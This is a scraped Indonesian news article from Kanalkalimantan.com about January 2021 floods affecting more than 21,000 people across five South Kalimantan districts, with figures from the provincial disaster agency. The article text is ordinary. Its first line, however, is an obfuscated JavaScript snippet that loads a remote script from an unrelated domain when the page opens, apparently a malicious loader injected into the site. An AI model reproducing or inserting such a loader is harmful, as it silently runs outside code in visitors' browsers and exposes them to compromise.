(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Di tengah upaya membentengi diri dari pandemi Covid-19, masyarakat Kalimantan Selatan dipaksa mengungsi dari rumah mereka akibat terjangan banjir yang melanda pada awal tahun.
Deretan peristiwa banjir sejak beberapa hari terakhir, terpantau di 5 wilayah Kabupaten Kota. Yakni, Kabupaten Tanah Laut, Kota Banjarbaru, Kabupaten Tabalong, Kabupaten Banjar, dan Kabupaten Tapin.
Menilik data BPBD Provinsi Kalsel, total korban terdampak banjir secara keseluruhan di Banua, ada sebanyak 21.506 jiwa. Sedangkan, untuk total rumah warga yang terkena imbas banjir ada sebanyak 6.235 unit.
“Jumlah ini masih akan bertambah, karena data laporan banjir di beberapa wilayah belum kita masukan. Contohnya, di Kecamatan Pengaron (Kabupaten Banjar, -red) dan di Kecamatan Landasan Ulin (Kota Banjarbaru, -red),” kata Kepala Bidang Kedaruratan dan Logistik BPBD Provinsi Kalsel, Abriansyah, Selasa (12/1/2021).
Akumulatif jumlah korban terdampak banjir yang saat ini tercatat, didominasi berasal dari Kabupaten Tanah Laut. Dengan total warga yang terdampak sebanyak 16.248 jiwa. Mencangkup di Kecamatan Bati-Bati, Tambang Ulang, Kurau, Bumi Makmur, Kintap, Jorong, serta Pelaihari yang merupakan pusat perkotaan daerah Tanah Laut.
Kemudian disusul Kabupaten Banjar, dengan jumlah warga terdampak sebanyak 3.490 jiwa. Di wilayah ini, banjir terjadi di Kecamatan Pinang, Astambul, Martapura Kota, dan Martapura. Serta yang baru-baru ini terjadi, banjir besar di Kecamatan Pengaron.
Korban terdampak banjir terbanyak selanjutnya berasal dari Kota Banjarbaru, dengan jumlah 1.023 jiwa. Mencangkung di Kecamatan Cempaka, Liang Anggang, dan yang baru saja terjadi yakni di Landasan Ulin.
Sementara, untuk Kabupaten Tabalong setidaknya 490 jiwa yang terdampak dan di deretan akhir ialah Kabupaten Tapin tercatat ada sebanyak 225 jiwa.
Faktor utama penyebab banjir yang melanda sejumlah wilayah Kabupaten Kota di Kalsel, menurut Abriansyah tak lepas dari anomali iklim La Nina yang menyebabkan peningkatan curah hujan.
“Peningkatan curah hujan telah terjadi di Kalsel. Penampung air seperti halnya embung di masing-masing Kabupaten/Kota sudah tidak mampu lagi menahan tingginya curah hujan dan akhirnya meluber ke pemukiman rumah warga,” tandasnya.
Hingga kini, BPBD bersama TNI Polri serta Basarnas terus melakukan upaya penanganan banjir di masing-masing wilayah. Posko darurat telah didirikan sebagai tempat pengungsian sementara warga yang terdampak. Termasuk pula, dibukanya dapur umum untuk menyuplai makanan kepada para korban. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.